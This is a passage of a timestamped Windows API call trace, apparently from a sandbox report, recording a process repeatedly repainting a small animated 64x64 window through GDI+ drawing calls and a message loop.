(lpString="GDI+Atom_3772_1") returned 0xc000 [0141.050] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0141.051] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0141.051] GetCurrentObject (hdc=0x360106ea, type=0x1) returned 0x1b00017 [0141.051] GetCurrentObject (hdc=0x360106ea, type=0x2) returned 0x1900010 [0141.051] GetCurrentObject (hdc=0x360106ea, type=0x7) returned 0x1a05067e [0141.051] GetCurrentObject (hdc=0x360106ea, type=0x6) returned 0x18a002e [0141.051] SaveDC (hdc=0x360106ea) returned 1 [0141.051] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc00407c3 [0141.051] GetClipRgn (hdc=0x360106ea, hrgn=0xffffffffc00407c3) returned 0 [0141.051] SelectClipRgn (hdc=0x360106ea, hrgn=0xffffffff90040b8a) returned 2 [0141.051] DeleteObject (ho=0xffffffffc00407c3) returned 1 [0141.052] DeleteObject (ho=0xffffffff90040b8a) returned 1 [0141.052] OffsetViewportOrgEx (in: hdc=0x360106ea, x=0, y=0, lppt=0x26cb240 | out: lppt=0x26cb240) returned 1 [0141.052] GetNearestColor (hdc=0x360106ea, color=0xffffff) returned 0xffffff [0141.052] CreateSolidBrush (color=0xffffff) returned 0xffffffff98100190 [0141.052] FillRect (hDC=0x360106ea, lprc=0x15d7c0, hbr=0xffffffff98100190) returned 1 [0141.052] DeleteObject (ho=0xffffffff98100190) returned 1 [0141.052] RestoreDC (hdc=0x360106ea, nSavedDC=-1) returned 1 [0141.052] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.052] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x360106ea) returned 0x0 [0141.053] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcb60dbd) returned 0x0 [0141.053] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.053] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0141.053] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.053] GetSystemMetrics (nIndex=42) returned 0 [0141.053] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.053] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.053] CoTaskMemFree (pv=0x1e91eca0) [0141.053] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0141.053] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0141.053] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0141.054] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0141.054] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x360106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.054] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.054] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x360106ea) returned 0x0 [0141.054] SelectObject (hdc=0x360106ea, h=0x185000f) returned 0x1a05067e [0141.054] DeleteDC (hdc=0x360106ea) returned 1 [0141.054] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.054] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0141.054] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0141.054] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0141.055] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.055] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.055] WaitMessage () returned 1 [0141.293] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.293] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.293] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.293] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.294] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.294] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0141.294] GetCurrentThreadId () returned 0xec0 [0141.294] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0141.294] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.294] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.294] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.294] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.294] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.294] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0141.295] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0141.295] CreateCompatibleDC (hdc=0x3010b83) returned 0x450101be [0141.295] SelectObject (hdc=0x450101be, h=0x1a05067e) returned 0x185000f [0141.295] GdipCreateFromHDC (hdc=0x450101be, graphics=0x15daf0) returned 0x0 [0141.295] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0141.296] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0141.296] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0141.296] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0141.296] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0141.296] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.296] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0141.296] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.297] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0141.297] GdipCreateRegion (region=0x15dc20) returned 0x0 [0141.297] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0141.297] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0141.297] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0141.297] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.297] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.297] GetSystemMetrics (nIndex=42) returned 0 [0141.297] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.297] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.298] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.298] CoTaskMemFree (pv=0x1e91eca0) [0141.298] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0141.298] GdipCreateRegion (region=0x15d710) returned 0x0 [0141.298] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0141.298] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0141.298] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0141.298] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0141.298] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.298] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.299] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.299] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0141.299] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.299] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.299] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.299] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0141.299] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0141.299] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0141.299] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0141.300] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.300] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0141.300] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0141.300] GetCurrentObject (hdc=0x450101be, type=0x1) returned 0x1b00017 [0141.300] GetCurrentObject (hdc=0x450101be, type=0x2) returned 0x1900010 [0141.300] GetCurrentObject (hdc=0x450101be, type=0x7) returned 0x1a05067e [0141.300] GetCurrentObject (hdc=0x450101be, type=0x6) returned 0x18a002e [0141.300] SaveDC (hdc=0x450101be) returned 1 [0141.300] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff91040b8a [0141.300] GetClipRgn (hdc=0x450101be, hrgn=0xffffffff91040b8a) returned 0 [0141.301] SelectClipRgn (hdc=0x450101be, hrgn=0xffffffffc10407c3) returned 2 [0141.301] DeleteObject (ho=0xffffffff91040b8a) returned 1 [0141.301] DeleteObject (ho=0xffffffffc10407c3) returned 1 [0141.301] OffsetViewportOrgEx (in: hdc=0x450101be, x=0, y=0, lppt=0x26cbb78 | out: lppt=0x26cbb78) returned 1 [0141.301] GetNearestColor (hdc=0x450101be, color=0xffffff) returned 0xffffff [0141.301] CreateSolidBrush (color=0xffffff) returned 0xffffffff99100190 [0141.301] FillRect (hDC=0x450101be, lprc=0x15d7c0, hbr=0xffffffff99100190) returned 1 [0141.301] DeleteObject (ho=0xffffffff99100190) returned 1 [0141.301] RestoreDC (hdc=0x450101be, nSavedDC=-1) returned 1 [0141.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.302] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x450101be) returned 0x0 [0141.302] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcb40dbd) returned 0x0 [0141.302] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.302] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0141.302] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.302] GetSystemMetrics (nIndex=42) returned 0 [0141.302] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.302] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.302] CoTaskMemFree (pv=0x1e91eca0) [0141.302] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0141.307] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0141.307] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0141.307] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0141.308] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0141.308] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x450101be, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.308] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.308] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x450101be) returned 0x0 [0141.309] SelectObject (hdc=0x450101be, h=0x185000f) returned 0x1a05067e [0141.309] DeleteDC (hdc=0x450101be) returned 1 [0141.309] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.309] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0141.309] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0141.309] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0141.309] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.309] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.309] WaitMessage () returned 1 [0141.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.481] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.481] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.481] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.481] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.481] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0141.481] GetCurrentThreadId () returned 0xec0 [0141.481] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0141.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.482] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.482] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.482] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.482] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.482] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0141.482] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0141.482] CreateCompatibleDC (hdc=0x3010b83) returned 0x460101be [0141.482] SelectObject (hdc=0x460101be, h=0x1a05067e) returned 0x185000f [0141.482] GdipCreateFromHDC (hdc=0x460101be, graphics=0x15daf0) returned 0x0 [0141.483] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0141.483] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0141.483] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0141.483] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0141.483] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0141.483] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.483] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0141.484] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.484] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.484] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0141.484] GdipCreateRegion (region=0x15dc20) returned 0x0 [0141.484] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0141.484] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0141.484] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0141.484] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.484] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.485] GetSystemMetrics (nIndex=42) returned 0 [0141.485] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.485] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.485] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.485] CoTaskMemFree (pv=0x1e91eca0) [0141.485] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0141.485] GdipCreateRegion (region=0x15d710) returned 0x0 [0141.485] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0141.485] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0141.485] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0141.485] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0141.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.485] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.486] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.486] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0141.486] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.486] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.486] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.487] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.487] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0141.487] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0141.487] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0141.487] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0141.487] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.487] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0141.487] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0141.487] GetCurrentObject (hdc=0x460101be, type=0x1) returned 0x1b00017 [0141.487] GetCurrentObject (hdc=0x460101be, type=0x2) returned 0x1900010 [0141.487] GetCurrentObject (hdc=0x460101be, type=0x7) returned 0x1a05067e [0141.488] GetCurrentObject (hdc=0x460101be, type=0x6) returned 0x18a002e [0141.488] SaveDC (hdc=0x460101be) returned 1 [0141.488] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc20407c3 [0141.488] GetClipRgn (hdc=0x460101be, hrgn=0xffffffffc20407c3) returned 0 [0141.488] SelectClipRgn (hdc=0x460101be, hrgn=0xffffffff92040b8a) returned 2 [0141.488] DeleteObject (ho=0xffffffffc20407c3) returned 1 [0141.488] DeleteObject (ho=0xffffffff92040b8a) returned 1 [0141.488] OffsetViewportOrgEx (in: hdc=0x460101be, x=0, y=0, lppt=0x26cce60 | out: lppt=0x26cce60) returned 1 [0141.488] GetNearestColor (hdc=0x460101be, color=0xffffff) returned 0xffffff [0141.488] CreateSolidBrush (color=0xffffff) returned 0xffffffff9a100190 [0141.488] FillRect (hDC=0x460101be, lprc=0x15d7c0, hbr=0xffffffff9a100190) returned 1 [0141.489] DeleteObject (ho=0xffffffff9a100190) returned 1 [0141.489] RestoreDC (hdc=0x460101be, nSavedDC=-1) returned 1 [0141.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.489] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460101be) returned 0x0 [0141.489] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcb20dbd) returned 0x0 [0141.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.489] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0141.489] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.489] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.489] GetSystemMetrics (nIndex=42) returned 0 [0141.489] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.489] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.490] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.490] CoTaskMemFree (pv=0x1e91eca0) [0141.490] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0141.490] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0141.490] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0141.490] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0141.490] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x460101be, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.490] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.490] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460101be) returned 0x0 [0141.490] SelectObject (hdc=0x460101be, h=0x185000f) returned 0x1a05067e [0141.491] DeleteDC (hdc=0x460101be) returned 1 [0141.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.491] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0141.491] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0141.491] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0141.491] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.491] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.491] WaitMessage () returned 1 [0141.715] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.715] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.715] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.715] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.715] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.715] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0141.715] GetCurrentThreadId () returned 0xec0 [0141.715] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0141.715] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.715] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.715] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.715] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.715] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.716] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0141.716] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0141.716] CreateCompatibleDC (hdc=0x3010b83) returned 0x22010b91 [0141.716] SelectObject (hdc=0x22010b91, h=0x1a05067e) returned 0x185000f [0141.716] GdipCreateFromHDC (hdc=0x22010b91, graphics=0x15daf0) returned 0x0 [0141.716] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0141.716] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0141.716] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0141.716] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0141.717] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0141.717] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.717] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0141.717] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.717] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.717] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0141.718] GdipCreateRegion (region=0x15dc20) returned 0x0 [0141.718] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0141.718] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0141.718] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0141.718] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.718] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.718] GetSystemMetrics (nIndex=42) returned 0 [0141.718] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.718] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.718] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.718] CoTaskMemFree (pv=0x1e91eca0) [0141.718] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0141.718] GdipCreateRegion (region=0x15d710) returned 0x0 [0141.719] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0141.719] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0141.719] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0141.719] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0141.719] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.719] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.719] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.720] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0141.720] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.720] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.720] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.720] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0141.720] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0141.720] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0141.720] GdipGetRegionHRgn (region=0x1de43ea0, 